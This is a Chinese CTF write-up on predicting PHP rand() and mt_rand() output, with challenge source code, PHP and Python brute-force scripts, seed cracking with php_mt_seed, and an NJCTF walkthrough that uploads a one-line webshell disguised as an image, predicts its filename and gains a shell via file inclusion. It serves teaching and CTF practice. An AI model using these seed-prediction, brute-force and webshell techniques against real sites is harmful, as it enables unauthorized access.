rand() 函数在产生随机数的时候没有调用 srand(),则产生的随机数是有规律可询的.

产生的随机数可以用下面这个公式预测 : state[i] = state[i-3] + state[i-31] (一般预测值可能比实际值要差1)

$randstr = array();

for ($i = 0; $i <= 50; $i++) {

    $randstr[$i] = rand(0, 30);

    if ($i >= 31) {

        echo "第" . $i . "个随机数:";

        echo "$randstr[$i]=(" . $randstr[$i - 31] . "+" . $randstr[$i - 3] . ") mod 32 +1\n";
echo "<br>"; } else { echo "第" . $i . "个随机数:" . $randstr[$i] . "\n";
echo "<br>"; } }

结果如下:

第0个随机数:0
第1个随机数:12
第2个随机数:18
第3个随机数:27
第4个随机数:25
第5个随机数:30
第6个随机数:15
第7个随机数:20
第8个随机数:17
第9个随机数:25
第10个随机数:30
第11个随机数:28
第12个随机数:13
第13个随机数:23
第14个随机数:1
第15个随机数:8
第16个随机数:5
第17个随机数:5
第18个随机数:4
第19个随机数:25
第20个随机数:30
第21个随机数:28
第22个随机数:7
第23个随机数:5
第24个随机数:18
第25个随机数:8
第26个随机数:24
第27个随机数:12
第28个随机数:7
第29个随机数:3
第30个随机数:24
第31个随机数:2=(0+7) mod 32 +1
第32个随机数:18=(12+3) mod 32 +1
第33个随机数:25=(18+24) mod 32 +1
第34个随机数:21=(27+2) mod 32 +1
第35个随机数:11=(25+18) mod 32 +1
第36个随机数:27=(30+25) mod 32 +1
第37个随机数:5=(15+21) mod 32 +1
第38个随机数:14=(20+11) mod 32 +1
第39个随机数:24=(17+27) mod 32 +1
第40个随机数:26=(25+5) mod 32 +1
第41个随机数:17=(30+14) mod 32 +1
第42个随机数:17=(28+24) mod 32 +1
第43个随机数:14=(13+26) mod 32 +1
第44个随机数:22=(23+17) mod 32 +1
第45个随机数:25=(1+17) mod 32 +1
第46个随机数:30=(8+14) mod 32 +1
第47个随机数:0=(5+22) mod 32 +1
第48个随机数:6=(5+25) mod 32 +1
第49个随机数:8=(4+30) mod 32 +1
第50个随机数:5=(25+0) mod 32 +1

看到CTF题,当时题目中max_num未知。当我们请求时,大致知道max_num的范围,当时得到的最大值是990,不超过4位数。可以通过爆破解此题。:

session_start();
define(MAX_NUM,998);
if (isset($_GET['code']) && intval($_GET['code']) === $_SESSION['code']) { die('flag{11111111111111111}'); } else {echo "wrong answer!";} srand(rand(0, MAX_NUM)); //进行播种 for ($i = 0; $i < 3; $i++) { echo "<h3>randnum$i:" . rand(0, MAX_NUM) . "</h3><br>"; } echo 'sessionid: ' . session_id(); var_dump($_SESSION); $_SESSION['code'] = rand(0, MAX_NUM); var_dump($_SESSION); ?> <form action="" method="get"> the next random num is:<input type="text" name="code"/> <input type="submit"/> </form>

可以写如下脚本,从990开始预测:

$max_num = 1000;

for ($k = 990; $k <= 1000; $k++) {

    $max_num = $k;

    for ($i = 0; $i <= 1000; $i++) {

        srand($i);

        echo 'srand:' . $i . ':' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num);

        echo "<br>";

    }

}

得到预测结果。填上拿到flag.

第二种做法是写一个py脚本直接去爆破随机数,因为随机数的范围都是小于1000的,因此这些直接爆破0,1000即可.

import requests

url = 'http://0.0.0.0:91/index.php'

s = requests.session()

# headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}

# html = s.get(url,headers=headers)

for i in range(1000):

    #s = requests.session()

    url2 = url+'?code='+str(i)

    res = s.get(url2)

    print res.content

    if 'flag' in res.content:

        print res.content 

        break

大概每个session 可以爆出2,3次就无法再次爆破了,也是有一点随机性在里面的

ps: 其实session()这个函数有点像随机数播种, 程序每次运行一次session函数,都会分配一个固定的sessionid, 上面这个程序把session放在前面,那么循环部分的sessionid都是一样的,和我们浏览器访问并没有很大区别, 但如果是把session()函数放到循环体里面,那么每次访问的sessionid的值都会变化,相当于1000个人同时访问一次站点, 前面相当于一个人访问了1000次站点

mt_srand()函数用 time()做种子值, 相当于已知的, 我们可以本地用 time()这个种子值去预测pwd的值, 这第一层判断很容易绕过, 第二层的判断就有点迷了

发现这个第二层的判断为 if ($_SESSION['userLogin'] == $_GET['login']) , 只是简单的判断了下是否相等,而没有判断 $_GET['login'] 这个值是否为空, 因为程序如果第一次加载,那么此时 $_SESSION还没有赋值, $_SESSION['login'] 的内容自然是空, NULL===NULL, 很容易就绕过了第二层, 因此这题第二层判断形如虚设,如果你的时间和服务器上面的时间不同步,即time()的值不相同话,需要去偏移一个大概范围去爆破:

脚本如下:

function create_password($pw_length = 10) {

    $randpwd = "";

    for ($i = 0; $i < $pw_length; $i++) {

        $randpwd .= chr(mt_rand(100, 200));

    }

    return $randpwd;

}

mt_srand(time());

$pass = create_password();

echo $pass . "\n";

$curl = curl_init();

curl_setopt($curl, CURLOPT_URL, 'http://127.0.0.1/php_code/yuce.php?pwd=' . $pass);

$output = curl_exec($curl);

print_r($output);

curl_close($curl);

在看一道njctf随机数的题目:

题目大体思路就是能上传图片文件+文件包含=getshell。但是有一个难点就是如何得到上传文件名。这里就涉及到随机数和session的知识。

先说下session。session_start()会创建唯一的session id。当你携带着session过来时。session_start()就不会分配一个新的session id。

当你把PHPSESSID=;这样后端接受到的session id就会为空。

假如把PHPSESSID都删了。则会重新赋值一个新的session id

如果sessionid是没有的话,那么session_id()就是空字符串,这样的话,hash就是$ss的md5值,也就是纯数字,放cmd5解密就可以得到明文,也就是随机数,

mt_rand生成的随机数是可以破解得到种子,所以可以再通过种子预测到后面的random_str的值,从而得到上传的文件名.(这里我们把md5函数去掉)

error_reporting(0);
function show_error_message($message)
{
die("<div class=\"msg error\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
} function show_message($message)
{
echo("<div class=\"msg success\" id=\"message\"> <i class=\"fa fa-exclamation-triangle\"></i>$message</div>");
} function random_str($length = "32")
{
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = ''; for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
} return $str;
}
$reg='/gif|jpg|jpeg|png/';
if (isset($_POST['submit'])) { $seed = rand(0,999999999);
mt_srand($seed);
$ss = mt_rand();
echo "ss:".$ss;
echo "<br>";
// $hash = md5(session_id().$ss);
$hash = session_id().$ss; //原题这里是md5(session_id.$ss).这里把md5加密去掉。
echo "session_id+ss:".$hash;
echo "<br>";
// echo $hash;
// echo "<br>";
// echo md5($ss);
// echo "<br>";
// echo "新赋值的session:".$hash;
setcookie('SESSI0N', $hash, time() + 3600); if ($_FILES["file"]["error"] > 0) {
show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
}
$check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
|| ($_FILES["file-upload-field"]["type"] == "image/jpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
|| ($_FILES["file-upload-field"]["type"] == "image/png"))
&& ($_FILES["file-upload-field"]["size"] < 204800));
$check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION)); if ($check2) show_error_message("Nope!");
if ($check1) {
$filename = './' . random_str() . '_' . $_FILES['file-upload-field']['name'];
if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
} else show_error_message("Something wrong with the upload...");
} else {
show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
}
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<head>
<title>upload</title>
</head>
<body>
<form action="shell.php" method="post" enctype="multipart/form-data">
选择文件:<input type="file" name="file-upload-field">
<br>
提交:<input type="submit" name="submit">
<br>
<?php
echo "session:";
print_r($_SESSION);
echo "<br>";
echo "cookie:";
print_r($_COOKIE);
?>
</form>
</body>
</html>

具体操作如下:

准备一个一句话的shell命名为1.jpg,将PHPSESSION设置为空上传。

发送,server 会给我们一个名为session的cookie。原题目得在解密MD5.我这里去掉了。就不用了。

1782405370就是随机数。通过php_mt_seed这个tools来破解我们的种子。

得到可能的种子数。

写个脚本来预测文件名,(当种子数相同时,通过mt_rand或者rand得到的随机数是相同的)

比如。同时使用123的种子,即使网页怎么刷新数值都不会变的。用种子得到的每一个都是固定的。

写通过得到的216400146种子就能得到文件的名字。

mt_srand(216400146);
echo mt_rand()."\n\r";
function random_str($length = "32") {
$set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
"g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
"m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
"s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
"y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = ''; for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
} return $str;
} echo random_str()."\n\r";

看上传文件的名字。

通过伪协议文件包含拿shell.

参考连接:http://www.blogsir.com.cn/safe/515.html

http://www.cnblogs.com/iamstudy/articles/2017_NJCTF_Some_Web_Writeup.html

http://momomoxiaoxi.com/2017/03/17/NJCTF/

https://xz.aliyun.com/t/1520

web-ctf随机数安全的更多相关文章

  1. [XMAN筛选赛](web)ctf用户登录

    0x00 题目概述 就只写了几道web题,有些考察点比较明显,所以个人感觉来说web总体不难. 一航的writeup写得差不多,我这写个他没写的wirteup. 看题: 链接点进去是一个登录页面,习惯 ...

  2. CTF各种资源:题目、工具、资料

    目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...

  3. 【pwnable.kr】fb

    这是pwnable.kr的签到题,记录pwn入门到放弃的第一篇. ssh fd@pwnable.kr -p2222 (pw:guest) 题目很简单,登录上了ssh后,发现了3个文件:fd,fd.c, ...

  4. 反序列化之PHP

    反序列化漏洞 #PHP反序列化 原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果.在反序列化的过程中自动触发了某些魔术方法. ...

  5. Vulnhub靶机系列之Acid

    Acid 下载地址: ​ https://download.vulnhub.com/acid/Acid.rar ​ https://download.vulnhub.com/acid/Acid.rar ...

  6. CTF丨从零开始搭建WEB Docker靶场

    第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...

  7. 统计随机数及临界值Web Service接口

    (2017-02-04 银河统计) 统计函数API概念   API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发 ...

  8. CTF中常见Web源码泄露总结

    目录00x1 .ng源码泄露 00x2  git源码泄露 00x3 .DS_Store文件泄漏 00x4 网站备份压缩文件 00x5 SVN导致文件泄露 00x6 WEB-INF/web.xml泄露  ...

  9. CTF web题型解题技巧

    工具集 基础工具:Burpsuite,python,firefox(hackbar,foxyproxy,user-agent,swither等) 扫描工具:nmap,nessus,openvas sq ...

  10. 实验吧CTF题库-WEB题(部分)

    看起来有点难 提交admin http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&actio ...

随机推荐

  1. 使用MUI框架,模拟手机端的下拉刷新,上拉加载操作。

    套用mui官方文档的一句话:“开发者只需关心业务逻辑,实现加载更多数据即可”.真的是不错的框架. 想更多的了解这个框架:http://dev.dcloud.net.cn/mui/ 那么如何实现下拉刷新 ...

  2. Fork开源项目之通讯框架

    项目发布于:https://github.com/HouZhiHouJue/IOCPMSG.看代码前请先看简介.

  3. 十九、异步任务编排CompletableFuture

    一.简介 并发编程中我们经常创建异步线程来执行任务.但是,当异步任务之间存在依赖关系时,使得我们开发过程变得更加复杂.比如: 1.线程2依赖于线程1的执行结果 2.线程3依赖于线程1和线程2执行结果的 ...

  4. Web Service与Apache CXF 框架

    一.WebService简介 为了支持跨网络的机器间相互操作交互而设计,用于开发分布式的互操作的应用程序组件. Web Service服务通常被定义为一组模块化的API,它们可以通过网络进行调用,来执 ...

  5. 闲谈:乌云上那些 web-based 的 QQ 漏洞

    0×00 起始 昨日凌晨,看到爱尖刀团队发布了一条“腾讯客户端XSS,已第一时间提交至TSRC”的微博,心想,腾讯又出此类漏洞了.今日,由于有一位名叫“阿布”的同学将该漏洞发布到了乌云,引来不少争吵甚 ...

  6. vlan配置命令

    # 为VLAN10 指定一个描述字符串“connect to LAB1”.<Sysname> system-viewSystem View: return to User View wit ...

  7. Angular入门教程二

    4 功能介绍 4.1数据绑定 AngularJS的双向数据绑定,意味着你可以在Mode(JS)中改变数据,而这些变动立刻就会自动出现在View上,反之亦然.即:一方面可以做到model变化驱动了DOM ...

  8. 远景GIS云产品规划

    远景GIS云平台在初期有过产品设计,随着研发工作的进行以及对GIS云的认知更进行一步,最近重新梳理了平台的产品规划,使以后的开发不至于走偏方向. GIS云平台的研发也是摸着石头过河,免不了有考虑不到的 ...

  9. 【javascript】javasrcipt设计模式之状态模式

    使用场景 解决多个[ifelse]嵌套,将其封装成若干个方法 区分事物内部的状态,事物内部的状态的改变往往会带来事物的行为的改变 简单的多个状态直接切换的时候 //两个状态之间的切换,使用if-els ...

  10. WPF使用样式更新ArcGis InfoWindow外观代码

    <Style x:Key="mainInfoWindowStyleMF" TargetType="{x:Type esri:InfoWindow}"> ...